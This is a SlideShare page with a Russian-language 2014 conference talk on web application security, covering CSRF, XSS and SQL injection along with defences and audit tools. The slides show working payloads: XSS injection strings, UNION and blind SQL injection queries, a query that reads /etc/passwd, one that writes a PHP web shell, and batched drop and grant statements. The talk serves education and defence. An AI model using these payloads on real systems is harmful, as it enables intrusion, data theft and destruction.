SlideShare uma empresa Scribd logo
1 de 66
Baixar para ler offline
Web application
security
Максим Кочкин
OWASP TOP-10 (2013)
1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat
(2013)
Cenzic (2013)
Contextis
(2013)
Avg
XSS 53 60 56 56
SQL Injection 7 20 14 14
CSRF 26 22 34 27
Information Leakage 55 36 60 50
Authentication & authorization
11 56 60 42
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
CSRF
Exploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
Cross-Site Request Forgery
(WASC-09)
Атака, при которой жертва без согласия
выполняет от своего имени запрос.
Другими словами, атакующий может
управлять некоторыми действиями жертвы в
свою пользу.
Cross-Site Request Forgery
Атака
● на сайте есть действие «подарить подарок»
● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя
● но на самом деле достаточно обычного GET-запроса
● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …
- укороченная — скрыть payload
- на сайте атакующего: картинка или
подготовленная форма
Cross-Site Request Forgery
Атака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form>
<script>form.submit()</script>
Cross-Site Request Forgery
Простые правила
GET — только для получения данных
Для изменения данных — POST, PUT, DELETE
(это не защита!)
Cross-Site Request Forgery
Защита
Ненадежные способы
● принимать только POST
● HTTP_REFERER
● подтверждение вторым запросом
● многошаговый процесс
Cross-Site Request Forgery
Защита
● токен
- сессионный токен (Synchronizer Token)
- двойная отправка куки (Double Submit Cookies)
- зашифрованный токен (Encrypted Token)
● подтверждение (пароль, капча)
● Origin (request header) (не путать с CORS)
[https://wiki.mozilla.org/Security/Origin]
- iframe, embed, applet, script, form, XHR, redirect
Cross-Site Request Forgery
Аудит
● w3af [http://w3af.org/plugins/audit/csrf] — только
схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-
этапная проверка, умеет отличать формы,
которые отображаются только для залогиненных
юзеров, проверяет куки и токены.
● Руками и глазами.
Cross-Site Request Forgery
Logout
CSRF на logout? R U serious? Ahahaha!
Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого
это — реальная проблема: odnoklassniki.ru :)
XSS
Exploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
Cross-Site Scripting
(WASC-08)
Атака, при которой атакующий через уязвимость
заставляет выполняться свой код в браузере
жертвы.
Браузер может быть встроен в ПО и иметь доступ
к его компонентам.
Обычно код — JS, но также возможно выполнение
VBScript, ActiveX, Java, Flash и других
поддерживаемых браузером технологий.
Cross-Site Scripting
Угроза
● фишинг
● кража сессии (если куки не httponly)
● кража пользовательских данных жертвы со
страниц
● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
Cross-Site Scripting
Типы
● TYPE 1 — отражённая (non-persistent,
reflected)
● TYPE 2 — хранимая (persistent, stored)
● TYPE 0 — DOM-based
Cross-Site Scripting
TYPE 1, отражённая
● формируется запрос с пользовательскими
данными userdata
● в ответе данные userdata встраиваются в HTML
без надлежащей фильтрации
Чаще всего это
● заполнение полей формы в случае ошибки
● вывод поискового текста в форме поиска
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 2, хранимая
● пользовательские данные сохраняются в БД
без надлежащей фильтрации
● в дальнейшем эти данные выводятся на
HTML страницу из БД без надлежащей
фильтрации
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 3, DOM-based
Атака полностью реализуется на клиенте без
участия сервера
● пользователь вводит данные в URL или на
страницу (формы)
● эти данные используются клиентом (JS
приложением) для построения HTML страницы
без надлежащей фильтрации
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
Меры предотвращения
Правила OWASP
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)
https://code.google.com/p/owasp-esapi-java/
https://code.google.com/p/owasp-esapi-php/
https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
Cross-Site Scripting
CSP
CSP — Content Security Policy [Google, Mozilla]
http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?
http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)
- mail.yandex.ru, e.mail.ru, facebook.com
Cross-Site Scripting
CSP: пример
HTTP Response Header
Content-Security-Policy:
default-src 'none'
script-src 'self' http://*.my.com apis.google.com;
style-src http://static.mysite.com:81;
img-src *://cdn.somecdn.com;
connect-src 'self' http://api.mysite.com;
object-src 'none';
report-uri /report_endpoint;
Cross-Site Scripting
Аудит
OWASP ZAP
[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]
прокси с последующим анализом логов.
OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]
очень умный, гибко настраивается, многое умеет.
w3af [http://w3af.org/plugins/audit/xss]
SQL Injection
Exploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
SQL Injection
(WASC-19)
Атака на ПО, использующее входные данные
для построения SQL-запросов,
при которой атакующий изменяет логику
выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести
к выполнению команд ОС и захвату системы.
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Схема атаки
● поиск точки, использующей
пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД
● поиск уязвимости, позволяющей выполнить
атаку
● эксплуатация уязвимости
SQL Injection
Фингерпринтинг СУБД
● сообщения об ошибках на страницах
● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56
● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */
- PostgreSQL: AND 82::int=82
● поведение некоторых функций
● вакансии или собеседование :)
SQL Injection
Эксплуатация
Типы
● обычная инъекция — по выводимым ошибкам
● инъекция вслепую (Blind Injection) — вывод ошибок
отключен
Техники
● UNION
● batched запросы
● boolean-based blind
● time-based blind
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OK
query.php?id=1 and 1=2 -- error
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OK
query.php?id=1 order by 2 -- OK
query.php?id=1 order by 3 -- OK
query.php?id=1 order by 4 -- error!
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]
Age: Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
load_file('/etc/passwd')
query.php?id=-1
union all select '<?php system($_GET["cmd"]); ?>'
into outfile '/www/cmd.php'
SQL Injection
Примеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...
query.php?id=1;drop user ...
query.php?id=1;create user ...
query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
SQL Injection
Примеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemata
N — номер очередного символа
A — ASCII-код символа
select schema_name from information_schema.schemata — имя БД
mid(dbname, N, 1) — один символ имени
ord(char) — ASCII-код, удобнее сравнивать
SQL Injection
Примеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A,
sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд
к отклику
SQL Injection
Защита и превентивные меры
● связывание параметров (prepared statements,
биндинг, параметризованные запросы) с
экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?
● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity
● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …
- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
SQL Injection
Аудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до
сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может
стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти
беда.
Чтобы уметь разрабатывать инструменты
противодействия.
Чтобы уметь пользоваться инструментами и писать
безопасный код.
Ну и просто потому что это круто :)
P.S.
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с
дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в
whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше
(например, у Facebook нет верхней границы)
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения
● критичные сервисы — от 5 000 до 100 000 руб.
● прочие сервисы — от 3 000 до 25 000 руб.
● зал славы
http://corp.wamba.com/ru/
m.kochkin@wamba.com
@m_ksimka
Апрель 2014
Приложение
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги
или особенности работы с HTML в некоторых браузерах.
Атаки на браузеры
cookie-bomb (by @homakov)
http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for
Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить
куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
Социальная инженерия
Self-XSS
https://www.facebook.com/selfxss
Социальная инженерия
Chunkhost и Sendgrid (март 2014)
https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена
● хакер покупает домен chunkhost.info
● звонит в поддержку sendgrid и просит сменить мыло
support@chunkhost.com
● на support@chunkhost.info, поддержка говорит ОК (wtf?)
● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для
сброса
● аккаунты и слив репутации chunkhost спасает только
двухфакторная аутентификация на этих акках
Социальная инженерия
CSS-Tricks и Media Temple (март 2014)
http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена
● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его
● поддержка говорит «ок, только пришлите скан своих документов»
● хакер подделывает документы и получает акк (sic!)
● кроме этого захватывает пачку других сайтов
● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах
сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-
инъекциях и прочей ерунде, но ему это и не нужно :)
Github, пароли в репозиториях
DB config (PHP)
https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code
≈60000
AWS private key
https://github.com/search?q=AKIAJ&type=Code&ref=searchresults
≈1000
RSA private key
https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---
%22&ref=searchresults&s=indexed&type=Code
≈44000
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_injection
http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-
sql.html
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com (Acunetix)
http://testhtml5.vulnweb.com/ (Acunetix)
http://demo.testfire.net (IBM)
http://zero.webappsecurity.com (HP)
http://crackme.cenzic.com (Cenzic)
http://www.webscantest.com (NTO)
http://www.dvwa.co.uk/ (RandomStorm, offline)
https://code.google.com/p/webgoat/ (OWASP, offline)

Mais conteúdo relacionado

Mais procurados

Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
phpdevby
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
Dmitry Evteev
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
Dmitry Evteev
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
Dmitry Evteev
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
Albina Tiupa
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
kuchinskaya
 

Mais procurados (19)

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)Тестирование на проникновение в сетях Microsoft (v.2)
Тестирование на проникновение в сетях Microsoft (v.2)
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 

Destaque

Destaque (20)

Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Owasp web security
Owasp web securityOwasp web security
Owasp web security
 
Web application Security
Web application SecurityWeb application Security
Web application Security
 
OWASP Top 10 Overview
OWASP Top 10 OverviewOWASP Top 10 Overview
OWASP Top 10 Overview
 
End to end web security
End to end web securityEnd to end web security
End to end web security
 
Web security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsWeb security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutions
 
Secure Password Storage & Management
Secure Password Storage & ManagementSecure Password Storage & Management
Secure Password Storage & Management
 
Threat Modeling for Web Applications (and other duties as assigned)
Threat Modeling for Web Applications (and other duties as assigned)Threat Modeling for Web Applications (and other duties as assigned)
Threat Modeling for Web Applications (and other duties as assigned)
 
[Wroclaw #1] Android Security Workshop
[Wroclaw #1] Android Security Workshop[Wroclaw #1] Android Security Workshop
[Wroclaw #1] Android Security Workshop
 
Owasp Top 10
Owasp Top 10Owasp Top 10
Owasp Top 10
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
 
[Wroclaw #5] OWASP Projects: beyond Top 10
[Wroclaw #5] OWASP Projects: beyond Top 10[Wroclaw #5] OWASP Projects: beyond Top 10
[Wroclaw #5] OWASP Projects: beyond Top 10
 
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
Consulthink @ GDG Meets U -  L'Aquila2014  - Codelab: Android Security -Il ke...Consulthink @ GDG Meets U -  L'Aquila2014  - Codelab: Android Security -Il ke...
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
 
2015.04.24 Updated > Android Security Development - Part 1: App Development
2015.04.24 Updated > Android Security Development - Part 1: App Development 2015.04.24 Updated > Android Security Development - Part 1: App Development
2015.04.24 Updated > Android Security Development - Part 1: App Development
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration Testing
 
Deep Dive Into Android Security
Deep Dive Into Android SecurityDeep Dive Into Android Security
Deep Dive Into Android Security
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam edition
 
Brief Tour about Android Security
Brief Tour about Android SecurityBrief Tour about Android Security
Brief Tour about Android Security
 

Semelhante a Web application security (RIT 2014, rus)

Security testing
Security testingSecurity testing
Security testing
MageCloud
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
Dmitry Evteev
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
d0znp
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Ontico
 

Semelhante a Web application security (RIT 2014, rus) (20)

Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Svyatoslav Login
Svyatoslav LoginSvyatoslav Login
Svyatoslav Login
 
Security testing
Security testingSecurity testing
Security testing
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработки
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
 
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
Почему хакеры выбирают WordPress. WordCamp 2017, Moscow.
 
WAF наше все?!
WAF наше все?!WAF наше все?!
WAF наше все?!
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?Blind SQL Injections. Достаточно ли хороши ваши тесты?
Blind SQL Injections. Достаточно ли хороши ваши тесты?
 
Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?
 
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Securing Rails Applications
Securing Rails ApplicationsSecuring Rails Applications
Securing Rails Applications
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)Безопасность Node.js / Илья Вербицкий (Независимый консультант)
Безопасность Node.js / Илья Вербицкий (Независимый консультант)
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Sql injection
Sql injectionSql injection
Sql injection
 

Web application security (RIT 2014, rus)

  • 2. OWASP TOP-10 (2013) 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards
  • 3. Сводная статистика по распространенности угроз Угроза Подвержено сайтов, % WhiteHat (2013) Cenzic (2013) Contextis (2013) Avg XSS 53 60 56 56 SQL Injection 7 20 14 14 CSRF 26 22 34 27 Information Leakage 55 36 60 50 Authentication & authorization 11 56 60 42
  • 4. Реальность от WHID (март 2014) Атака От общего числа, % XSS 7 SQL Injection 18 CSRF 2 Denial of Service 20 Brute Force 4 https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
  • 6. Cross-Site Request Forgery (WASC-09) Атака, при которой жертва без согласия выполняет от своего имени запрос. Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
  • 7. Cross-Site Request Forgery Атака ● на сайте есть действие «подарить подарок» ● действие выполняется ajax-запросом при клике по ссылке, параметр — id получателя ● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка - напрямую: в мессенджере, в блоге, по почте, … - укороченная — скрыть payload - на сайте атакующего: картинка или подготовленная форма
  • 8. Cross-Site Request Forgery Атака, простейшие варианты GET http://goo.gl/d0LUAg <img src="[GET request]"> <form action="[url]" method="post">...</form> <script>form.submit()</script>
  • 9. Cross-Site Request Forgery Простые правила GET — только для получения данных Для изменения данных — POST, PUT, DELETE (это не защита!)
  • 10. Cross-Site Request Forgery Защита Ненадежные способы ● принимать только POST ● HTTP_REFERER ● подтверждение вторым запросом ● многошаговый процесс
  • 11. Cross-Site Request Forgery Защита ● токен - сессионный токен (Synchronizer Token) - двойная отправка куки (Double Submit Cookies) - зашифрованный токен (Encrypted Token) ● подтверждение (пароль, капча) ● Origin (request header) (не путать с CORS) [https://wiki.mozilla.org/Security/Origin] - iframe, embed, applet, script, form, XHR, redirect
  • 12. Cross-Site Request Forgery Аудит ● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками. ● Arachni [http://www.arachni-scanner.com/] — 4- этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены. ● Руками и глазами.
  • 13. Cross-Site Request Forgery Logout CSRF на logout? R U serious? Ahahaha! Oh, wait… http://superlogout.com/ Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
